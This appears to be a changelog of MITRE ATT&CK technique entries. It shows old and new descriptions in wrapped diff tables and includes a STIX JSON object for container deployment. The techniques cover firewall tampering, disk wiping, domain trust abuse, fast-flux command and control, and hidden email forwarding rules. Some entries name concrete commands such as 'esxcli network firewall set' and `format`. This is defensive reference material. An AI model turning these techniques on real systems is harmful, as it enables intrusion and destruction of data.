| > | even needing basic user permissions. This open access may | > | t even needing basic user permissions. This open access may | ||
| > | expose various types of sensitive data, such as credit cards | > | expose various types of sensitive data, such as credit card | ||
| > | , personally identifiable information, or medical records.(C | > | s, personally identifiable information, or medical records.( | ||
| > | itation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired M | > | Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired | ||
| > | agecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, | > | Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach | ||
| > | 2017)(Citation: Rclone-mega-extortion_05_2021) Adversaries | > | , 2017)(Citation: Rclone-mega-extortion_05_2021) Adversarie | ||
| > | may also obtain then abuse leaked credentials from source r | > | s may also obtain then abuse leaked credentials from source | ||
| > | epositories, logs, or other means as a way to gain access to | > | repositories, logs, or other means as a way to gain access t | ||
| > | cloud storage objects. | > | o cloud storage objects. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage Confluence repositories to mine va | t | 1 | Adversaries may leverage Confluence repositories to mine va |
| > | luable information.(Citation: Confluence Standards in Data E | > | luable information.(Citation: Confluence Standards in Data E | ||
| > | ngineering) Often found in development environments alongsid | > | ngineering) Often found in development environments alongsid | ||
| > | e Atlassian JIRA, Confluence is generally used to store deve | > | e Atlassian JIRA, Confluence is generally used to store deve | ||
| > | lopment-related documentation, however, in general may conta | > | lopment-related documentation; however, it may contain more | ||
| > | in more diverse categories of useful information, such as: | > | diverse categories of useful information, such as: * Polici | ||
| > | * Policies, procedures, and standards * Physical / logical n | > | es, procedures, and standards * Physical / logical network d | ||
| > | etwork diagrams * System architecture diagrams * Technical s | > | iagrams * System architecture diagrams * Technical system do | ||
| > | ystem documentation * Testing / development credentials (i.e | > | cumentation * Testing / development credentials (i.e., [Unse | ||
| > | ., [Unsecured Credentials](https://attack.mitre.org/techniqu | > | cured Credentials](https://attack.mitre.org/techniques/T1552 | ||
| > | es/T1552)) * Work / project schedules * Source code snippets | > | )) * Work / project schedules * Source code snippets * Links | ||
| > | * Links to network shares and other internal resources | > | to network shares and other internal resources |
create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1610",
"external_id": "T1610"
},
{
"source_name": "AppSecco Kubernetes Namespace Breakout 2020",
"description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.",
"url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
},
{
"source_name": "Aqua Build Images on Hosts",
"description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
"url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
},
{
"source_name": "Docker Container",
"description": "DockerDocs. (n.d.). Retrieved December 8, 2025.",
"url": "https://docs.docker.com/reference/cli/docker/container/create/"
},
{
"source_name": "Kubernetes Workload Management",
"description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.",
"url": "https://kubernetes.io/docs/concepts/workloads/controllers/"
},
{
"source_name": "Kubeflow Pipelines",
"description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.",
"url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"
},
{
"source_name": "Kubernetes Dashboard",
"description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Alfredo Oliveira, Trend Micro",
"Ariel Shuper, Cisco",
"Center for Threat-Informed Defense (CTID)",
"Idan Frimark, Cisco",
"Joas Antonio dos Santos, @C0d3Cr4zy",
"Magno Logan, @magnologan, Trend Micro",
"Pawan Kinger, @kingerpawan, Trend Micro",
"Vishwas Manral, McAfee",
"Yossi Weizman, Azure Defender Research Team"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-07-22 14:49:20.083000+00:00\", \"old_value\": \"2026-05-12 15:12:00.634000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node.(Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n\\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\", \"old_value\": \"Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n\\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n+Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node.(Citation: AppSecco Kubernetes Namespace Breakout 2020)\\n \\n-Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\\n+Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Container)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may deploy a container into an environment to fa | t | 1 | Adversaries may deploy a container into an environment to fa |
| > | cilitate execution or evade defenses. In some cases, adversa | > | cilitate execution or evade defenses. In some cases, adversa | ||
| > | ries may deploy a new container to execute processes associa | > | ries may deploy a new container to execute processes associa | ||
| > | ted with a particular image or deployment, such as processes | > | ted with a particular image or deployment, such as processes | ||
| > | that execute or download malware. In others, an adversary m | > | that execute or download malware. In others, an adversary m | ||
| > | ay deploy a new container configured without network rules, | > | ay deploy a new container configured without network rules, | ||
| > | user limitations, etc. to bypass existing defenses within th | > | user limitations, etc. to bypass existing defenses within th | ||
| > | e environment. In Kubernetes environments, an adversary may | > | e environment. In Kubernetes environments, an adversary may | ||
| > | attempt to deploy a privileged or vulnerable container into | > | attempt to deploy a privileged or vulnerable container into | ||
| > | a specific node in order to [Escape to Host](https://attack. | > | a specific node in order to [Escape to Host](https://attack. | ||
| > | mitre.org/techniques/T1611) and access other containers runn | > | mitre.org/techniques/T1611) and access other containers runn | ||
| > | ing on the node. (Citation: AppSecco Kubernetes Namespace Br | > | ing on the node.(Citation: AppSecco Kubernetes Namespace Bre | ||
| > | eakout 2020) Containers can be deployed by various means, s | > | akout 2020) Containers can be deployed by various means, su | ||
| > | uch as via Docker's <code>create</code> and <code>start</cod | > | ch as via Docker's <code>create</code> and <code>start</code | ||
| > | e> APIs or via a web application such as the Kubernetes dash | > | > APIs or via a web application such as the Kubernetes dashb | ||
| > | board or Kubeflow. (Citation: Docker Container)(Citation: Ku | > | oard or Kubeflow.(Citation: Docker Container)(Citation: Kube | ||
| > | bernetes Dashboard)(Citation: Kubeflow Pipelines) In Kuberne | > | rnetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernete | ||
| > | tes environments, containers may be deployed through workloa | > | s environments, containers may be deployed through workloads | ||
| > | ds such as ReplicaSets or DaemonSets, which can allow contai | > | such as ReplicaSets or DaemonSets, which can allow containe | ||
| > | ners to be deployed across multiple nodes.(Citation: Kuberne | > | rs to be deployed across multiple nodes.(Citation: Kubernete | ||
| > | tes Workload Management) Adversaries may deploy containers b | > | s Workload Management) Adversaries may deploy containers bas | ||
| > | ased on retrieved or built malicious images or from benign i | > | ed on retrieved or built malicious images or from benign ima | ||
| > | mages that download and execute malicious payloads at runtim | > | ges that download and execute malicious payloads at runtime. | ||
| > | e.(Citation: Aqua Build Images on Hosts) | > | (Citation: Aqua Build Images on Hosts) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable or modify host-based or network fire | t | 1 | Adversaries may disable or modify host-based or network fire |
| > | walls to impair defensive mechanisms and enable further acti | > | walls to impair defensive mechanisms and enable further acti | ||
| > | on. Once an adversary has gathered sufficient privileges, th | > | on. Once an adversary has gathered sufficient privileges, th | ||
| > | ey can tamper with firewall services, policies, or rule sets | > | ey can tamper with firewall services, policies, or rule sets | ||
| > | to remove restrictions on inbound or outbound traffic. For | > | to remove restrictions on inbound or outbound traffic. For | ||
| > | example, this may include turning off firewall profiles, alt | > | example, this may include turning off firewall profiles, alt | ||
| > | ering existing rules to permit previously blocked ports or p | > | ering existing rules to permit previously blocked ports or p | ||
| > | rotocols, or adding new rules that create covert communicati | > | rotocols, or adding new rules that create covert communicati | ||
| > | on paths (e.g., adding a new firewall rule for a well-known | > | on paths (e.g., adding a new firewall rule for a well-known | ||
| > | protocol (such as RDP) using a non-traditional and potential | > | protocol (such as RDP) using a non-traditional and potential | ||
| > | ly less securitized port.(Citation: change_rdp_port_conti) | > | ly less secure port).(Citation: change_rdp_port_conti) Adve | ||
| > | Adversaries may disable or modify firewalls using different | > | rsaries may disable or modify firewalls using different beha | ||
| > | behaviors, depending on the platform. For example, in ESXi, | > | viors, depending on the platform. For example, in ESXi, fire | ||
| > | firewall rules may be modified directly via the esxcli (e.g. | > | wall rules may be modified directly via the esxcli (e.g., vi | ||
| > | , via esxcli network firewall set) or via the vCenter user i | > | a esxcli network firewall set) or via the vCenter user inter | ||
| > | nterface.(Citation: Broadcom ESXi Firewall)(Citation: Trelli | > | face.(Citation: Broadcom ESXi Firewall)(Citation: Trellix Rn | ||
| > | x Rnasomhouse 2024) | > | asomhouse 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may corrupt or wipe the disk data structures on | t | 1 | Adversaries may corrupt or wipe the disk data structures on |
| > | a hard drive necessary to boot a system; targeting specific | > | a hard drive necessary to boot a system; targeting specific | ||
| > | critical systems or in large numbers in a network to interru | > | critical systems or in large numbers in a network to interru | ||
| > | pt availability to system and network resources. Adversari | > | pt availability to system and network resources. Adversari | ||
| > | es may attempt to render the system unable to boot by overwr | > | es may attempt to render the system unable to boot by overwr | ||
| > | iting critical data located in structures such as the master | > | iting critical data located in structures such as the master | ||
| > | boot record (MBR) or partition table.(Citation: Symantec Sh | > | boot record (MBR) or partition table.(Citation: Symantec Sh | ||
| > | amoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Pa | > | amoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Pa | ||
| > | lo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 201 | > | lo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 201 | ||
| > | 7)(Citation: Unit 42 Shamoon3 2018) The data contained in di | > | 7)(Citation: Unit 42 Shamoon3 2018) The data contained in di | ||
| > | sk structures may include the initial executable code for lo | > | sk structures may include the initial executable code for lo | ||
| > | ading an operating system or the location of the file system | > | ading an operating system or the location of the file system | ||
| > | partitions on disk. If this information is not present, the | > | partitions on disk. If this information is not present, the | ||
| > | computer will not be able to load an operating system durin | > | computer will not be able to load an operating system durin | ||
| > | g the boot process, leaving the computer unavailable. [Disk | > | g the boot process, leaving the computer unavailable. [Disk | ||
| > | Structure Wipe](https://attack.mitre.org/techniques/T1561/00 | > | Structure Wipe](https://attack.mitre.org/techniques/T1561/00 | ||
| > | 2) may be performed in isolation, or along with [Disk Conten | > | 2) may be performed in isolation, or along with [Disk Conten | ||
| > | t Wipe](https://attack.mitre.org/techniques/T1561/001) if al | > | t Wipe](https://attack.mitre.org/techniques/T1561/001) if al | ||
| > | l sectors of a disk are wiped. On a network devices, advers | > | l sectors of a disk are wiped. On a network device, adversa | ||
| > | aries may reformat the file system using [Network Device CLI | > | ries may reformat the file system using [Network Device CLI] | ||
| > | ](https://attack.mitre.org/techniques/T1059/008) commands su | > | (https://attack.mitre.org/techniques/T1059/008) commands suc | ||
| > | ch as `format`.(Citation: format_cmd_cisco) To maximize imp | > | h as `format`.(Citation: format_cmd_cisco) To maximize impa | ||
| > | act on the target organization, malware designed for destroy | > | ct on the target organization, malware designed for destroyi | ||
| > | ing disk structures may have worm-like features to propagate | > | ng disk structures may have worm-like features to propagate | ||
| > | across a network by leveraging other techniques like [Valid | > | across a network by leveraging other techniques like [Valid | ||
| > | Accounts](https://attack.mitre.org/techniques/T1078), [OS C | > | Accounts](https://attack.mitre.org/techniques/T1078), [OS Cr | ||
| > | redential Dumping](https://attack.mitre.org/techniques/T1003 | > | edential Dumping](https://attack.mitre.org/techniques/T1003) | ||
| > | ), and [SMB/Windows Admin Shares](https://attack.mitre.org/t | > | , and [SMB/Windows Admin Shares](https://attack.mitre.org/te | ||
| > | echniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citat | > | chniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citati | ||
| > | ion: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon N | > | on: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon No | ||
| > | ov 2016)(Citation: Kaspersky StoneDrill 2017) | > | v 2016)(Citation: Kaspersky StoneDrill 2017) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the configuration settings of a domai | t | 1 | Adversaries may modify the configuration settings of a domai |
| > | n or identity tenant to evade defenses and/or escalate privi | > | n or identity tenant to evade defenses and/or escalate privi | ||
| > | leges in centrally managed environments. Such services provi | > | leges in centrally managed environments. Such services provi | ||
| > | de a centralized means of managing identity resources such a | > | de a centralized means of managing identity resources such a | ||
| > | s devices and accounts, and often include configuration sett | > | s devices and accounts, and often include configuration sett | ||
| > | ings that may apply between domains or tenants such as trust | > | ings that may apply between domains or tenants such as trust | ||
| > | relationships, identity syncing, or identity federation. M | > | relationships, identity syncing, or identity federation. M | ||
| > | odifications to domain or tenant settings may include alteri | > | odifications to domain or tenant settings may include alteri | ||
| > | ng domain Group Policy Objects (GPOs) in Microsoft Active Di | > | ng domain Group Policy Objects (GPOs) in Microsoft Active Di | ||
| > | rectory (AD) or changing trust settings for domains, includi | > | rectory (AD) or changing trust settings for domains, includi | ||
| > | ng federation trusts relationships between domains or tenant | > | ng federation trust relationships between domains or tenants | ||
| > | s. With sufficient permissions, adversaries can modify doma | > | . With sufficient permissions, adversaries can modify domai | ||
| > | in or tenant policy settings. Since configuration settings f | > | n or tenant policy settings. Since configuration settings fo | ||
| > | or these services apply to a large number of identity resour | > | r these services apply to a large number of identity resourc | ||
| > | ces, there are a great number of potential attacks malicious | > | es, there are a great number of potential malicious outcomes | ||
| > | outcomes that can stem from this abuse. Examples of such ab | > | that can stem from this abuse. Examples of such abuse inclu | ||
| > | use include: * modifying GPOs to push a malicious [Schedu | > | de: * modifying GPOs to push a malicious [Scheduled Task] | ||
| > | led Task](https://attack.mitre.org/techniques/T1053/005) to | > | (https://attack.mitre.org/techniques/T1053/005) to computers | ||
| > | computers throughout the domain environment(Citation: ADSecu | > | throughout the domain environment(Citation: ADSecurity GPO | ||
| > | rity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Ci | > | Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: H | ||
| > | tation: Harmj0y Abusing GPO Permissions) * modifying domain | > | armj0y Abusing GPO Permissions) * modifying domain trusts to | ||
| > | trusts to include an adversary-controlled domain, allowing a | > | include an adversary-controlled domain, allowing adversarie | ||
| > | dversaries to forge access tokens that will subsequently be | > | s to forge access tokens that will subsequently be accepted | ||
| > | accepted by victim domain resources(Citation: Microsoft - C | > | by victim domain resources(Citation: Microsoft - Customer G | ||
| > | ustomer Guidance on Recent Nation-State Cyber Attacks) * cha | > | uidance on Recent Nation-State Cyber Attacks) * changing con | ||
| > | nging configuration settings within the AD environment to im | > | figuration settings within the AD environment to implement a | ||
| > | plement a [Rogue Domain Controller](https://attack.mitre.org | > | [Rogue Domain Controller](https://attack.mitre.org/techniqu | ||
| > | /techniques/T1207). * adding new, adversary-controlled feder | > | es/T1207). * adding new, adversary-controlled federated iden | ||
| > | ated identity providers to identity tenants, allowing advers | > | tity providers to identity tenants, allowing adversaries to | ||
| > | aries to authenticate as any user managed by the victim tena | > | authenticate as any user managed by the victim tenant(Citati | ||
| > | nt (Citation: Okta Cross-Tenant Impersonation 2023) Adversa | > | on: Okta Cross-Tenant Impersonation 2023) Adversaries may t | ||
| > | ries may temporarily modify domain or tenant policy, carry o | > | emporarily modify domain or tenant policy, carry out a malic | ||
| > | ut a malicious action(s), and then revert the change to remo | > | ious action(s), and then revert the change to remove suspici | ||
| > | ve suspicious indicators. | > | ous indicators. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform calculations on addresses returned i | t | 1 | Adversaries may perform calculations on addresses returned i |
| > | n DNS results to determine which port and IP address to use | > | n DNS results to determine which port and IP address to use | ||
| > | for command and control, rather than relying on a predetermi | > | for command and control, rather than relying on a predetermi | ||
| > | ned port number or the actual returned IP address. A IP and/ | > | ned port number or the actual returned IP address. An IP and | ||
| > | or port number calculation can be used to bypass egress filt | > | /or port number calculation can be used to bypass egress fil | ||
| > | ering on a C2 channel.(Citation: Meyers Numbered Panda) One | > | tering on a C2 channel.(Citation: Meyers Numbered Panda) On | ||
| > | implementation of [DNS Calculation](https://attack.mitre.or | > | e implementation of [DNS Calculation](https://attack.mitre.o | ||
| > | g/techniques/T1568/003) is to take the first three octets of | > | rg/techniques/T1568/003) is to take the first three octets o | ||
| > | an IP address in a DNS response and use those values to cal | > | f an IP address in a DNS response and use those values to ca | ||
| > | culate the port for command and control traffic.(Citation: M | > | lculate the port for command and control traffic.(Citation: | ||
| > | eyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7 | > | Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid | ||
| > | G20Espionage) | > | 7G20Espionage) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use Fast Flux DNS to hide a command and cont | t | 1 | Adversaries may use Fast Flux DNS to hide a command and cont |
| > | rol channel behind an array of rapidly changing IP addresses | > | rol channel behind an array of rapidly changing IP addresses | ||
| > | linked to a single domain resolution. This technique uses a | > | linked to a single domain resolution. This technique uses a | ||
| > | fully qualified domain name, with multiple IP addresses ass | > | fully qualified domain name, with multiple IP addresses ass | ||
| > | igned to it which are swapped with high frequency, using a c | > | igned to it which are swapped with high frequency, using a c | ||
| > | ombination of round robin IP addressing and short Time-To-Li | > | ombination of round robin IP addressing and short Time-To-Li | ||
| > | ve (TTL) for a DNS resource record.(Citation: MehtaFastFluxP | > | ve (TTL) for a DNS resource record.(Citation: MehtaFastFluxP | ||
| > | t1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welive | > | t1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welive | ||
| > | security) The simplest, \"single-flux\" method, involves regi | > | security) The simplest, \"single-flux\" method, involves regi | ||
| > | stering and de-registering an addresses as part of the DNS A | > | stering and de-registering an address as part of the DNS A ( | ||
| > | (address) record list for a single DNS name. These registra | > | address) record list for a single DNS name. These registrati | ||
| > | tions have a five-minute average lifespan, resulting in a co | > | ons have a five-minute average lifespan, resulting in a cons | ||
| > | nstant shuffle of IP address resolution.(Citation: Fast Flux | > | tant shuffle of IP address resolution.(Citation: Fast Flux - | ||
| > | - Welivesecurity) In contrast, the \"double-flux\" method re | > | Welivesecurity) In contrast, the \"double-flux\" method regi | ||
| > | gisters and de-registers an address as part of the DNS Name | > | sters and de-registers an address as part of the DNS Name Se | ||
| > | Server record list for the DNS zone, providing additional re | > | rver record list for the DNS zone, providing additional resi | ||
| > | silience for the connection. With double-flux additional hos | > | lience for the connection. With double-flux additional hosts | ||
| > | ts can act as a proxy to the C2 host, further insulating the | > | can act as a proxy to the C2 host, further insulating the t | ||
| > | true source of the C2 channel. | > | rue source of the C2 channel. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup email forwarding rules to collect sens | t | 1 | Adversaries may set up email forwarding rules to collect sen |
| > | itive information. Adversaries may abuse email forwarding ru | > | sitive information. Adversaries may abuse email forwarding r | ||
| > | les to monitor the activities of a victim, steal information | > | ules to monitor the activities of a victim, steal informatio | ||
| > | , and further gain intelligence on the victim or the victim\u2019 | > | n, and further gain intelligence on the victim or the victim | ||
| > | s organization to use as part of further exploits or operati | > | \u2019s organization to use as part of further exploits or operat | ||
| > | ons.(Citation: US-CERT TA18-068A 2018) Furthermore, email fo | > | ions.(Citation: US-CERT TA18-068A 2018) Furthermore, email f | ||
| > | rwarding rules can allow adversaries to maintain persistent | > | orwarding rules can allow adversaries to maintain persistent | ||
| > | access to victim's emails even after compromised credentials | > | access to victim's emails even after compromised credential | ||
| > | are reset by administrators.(Citation: Pfammatter - Hidden | > | s are reset by administrators.(Citation: Pfammatter - Hidden | ||
| > | Inbox Rules) Most email clients allow users to create inbox | > | Inbox Rules) Most email clients allow users to create inbox | ||
| > | rules for various email functions, including forwarding to a | > | rules for various email functions, including forwarding to | ||
| > | different recipient. These rules may be created through a l | > | a different recipient. These rules may be created through a | ||
| > | ocal email application, a web interface, or by command-line | > | local email application, a web interface, or by command-line | ||
| > | interface. Messages can be forwarded to internal or external | > | interface. Messages can be forwarded to internal or externa | ||
| > | recipients, and there are no restrictions limiting the exte | > | l recipients, and there are no restrictions limiting the ext | ||
| > | nt of this rule. Administrators may also create forwarding r | > | ent of this rule. Administrators may also create forwarding | ||
| > | ules for user accounts with the same considerations and outc | > | rules for user accounts with the same considerations and out | ||
| > | omes.(Citation: Microsoft Tim McMichael Exchange Mail Forwar | > | comes.(Citation: Microsoft Tim McMichael Exchange Mail Forwa | ||
| > | ding 2)(Citation: Mac Forwarding Rules) Any user or adminis | > | rding 2)(Citation: Mac Forwarding Rules) Any user or admini | ||
| > | trator within the organization (or adversary with valid cred | > | strator within the organization (or adversary with valid cre | ||
| > | entials) can create rules to automatically forward all recei | > | dentials) can create rules to automatically forward all rece | ||
| > | ved messages to another recipient, forward emails to differe | > | ived messages to another recipient, forward emails to differ | ||
| > | nt locations based on the sender, and more. Adversaries may | > | ent locations based on the sender, and more. Adversaries may | ||
| > | also hide the rule by making use of the Microsoft Messaging | > | also hide the rule by making use of the Microsoft Messaging | ||
| > | API (MAPI) to modify the rule properties, making it hidden a | > | API (MAPI) to modify the rule properties, making it hidden | ||
| > | nd not visible from Outlook, OWA or most Exchange Administra | > | and not visible from Outlook, OWA or most Exchange Administr | ||
| > | tion tools.(Citation: Pfammatter - Hidden Inbox Rules) In s | > | ation tools.(Citation: Pfammatter - Hidden Inbox Rules) In | ||
| > | ome environments, administrators may be able to enable email | > | some environments, administrators may be able to enable emai | ||
| > | forwarding rules that operate organization-wide rather than | > | l forwarding rules that operate organization-wide rather tha | ||
| > | on individual inboxes. For example, Microsoft Exchange supp | > | n on individual inboxes. For example, Microsoft Exchange sup | ||
| > | orts transport rules that evaluate all mail an organization | > | ports transport rules that evaluate all mail an organization | ||
| > | receives against user-specified conditions, then performs a | > | receives against user-specified conditions, then performs a | ||
| > | user-specified action on mail that adheres to those conditio | > | user-specified action on mail that adheres to those conditi | ||
| > | ns.(Citation: Microsoft Mail Flow Rules 2023) Adversaries th | > | ons.(Citation: Microsoft Mail Flow Rules 2023) Adversaries t | ||
| > | at abuse such features may be able to enable forwarding on a | > | hat abuse such features may be able to enable forwarding on | ||
| > | ll or specific mail an organization receives. | > | all or specific mail an organization receives. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit software vulnerabilities that can ca | t | 1 | Adversaries may exploit software vulnerabilities that can ca |
| > | use an application or system to crash and deny availability | > | use an application or system to crash and deny availability | ||
| > | to users. (Citation: Sucuri BIND9 August 2015) Some systems | > | to users.(Citation: Sucuri BIND9 August 2015) Some systems m | ||
| > | may automatically restart critical applications and services | > | ay automatically restart critical applications and services | ||
| > | when crashes occur, but they can likely be re-exploited to | > | when crashes occur, but they can likely be re-exploited to c | ||
| > | cause a persistent denial of service (DoS) condition. Adver | > | ause a persistent denial of service (DoS) condition. Advers | ||
| > | saries may exploit known or zero-day vulnerabilities to cras | > | aries may exploit known or zero-day vulnerabilities to crash | ||
| > | h applications and/or systems, which may also lead to depend | > | applications and/or systems, which may also lead to depende | ||
| > | ent applications and/or systems to be in a DoS condition. Cr | > | nt applications and/or systems to be in a DoS condition. Cra | ||
| > | ashed or restarted applications or systems may also have oth | > | shed or restarted applications or systems may also have othe | ||
| > | er effects such as [Data Destruction](https://attack.mitre.o | > | r effects such as [Data Destruction](https://attack.mitre.or | ||
| > | rg/techniques/T1485), [Firmware Corruption](https://attack.m | > | g/techniques/T1485), [Firmware Corruption](https://attack.mi | ||
| > | itre.org/techniques/T1495), [Service Stop](https://attack.mi | > | tre.org/techniques/T1495), [Service Stop](https://attack.mit | ||
| > | tre.org/techniques/T1489) etc. which may further cause a DoS | > | re.org/techniques/T1489) etc. which may further cause a DoS | ||
| > | condition and deny availability to critical information, ap | > | condition and deny availability to critical information, app | ||
| > | plications and/or systems. | > | lications and/or systems. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target the different network services provid | t | 1 | Adversaries may target the different network services provid |
| > | ed by systems to conduct a denial of service (DoS). Adversar | > | ed by systems to conduct a denial of service (DoS). Adversar | ||
| > | ies often target the availability of DNS and web services, h | > | ies often target the availability of DNS and web services; h | ||
| > | owever others have been targeted as well.(Citation: Arbor An | > | owever, others have been targeted as well.(Citation: Arbor A | ||
| > | nualDoSreport Jan 2018) Web server software can be attacked | > | nnualDoSreport Jan 2018) Web server software can be attacked | ||
| > | through a variety of means, some of which apply generally wh | > | through a variety of means, some of which apply generally w | ||
| > | ile others are specific to the software being used to provid | > | hile others are specific to the software being used to provi | ||
| > | e the service. One example of this type of attack is known | > | de the service. One example of this type of attack is known | ||
| > | as a simple HTTP flood, where an adversary sends a large num | > | as a simple HTTP flood, where an adversary sends a large nu | ||
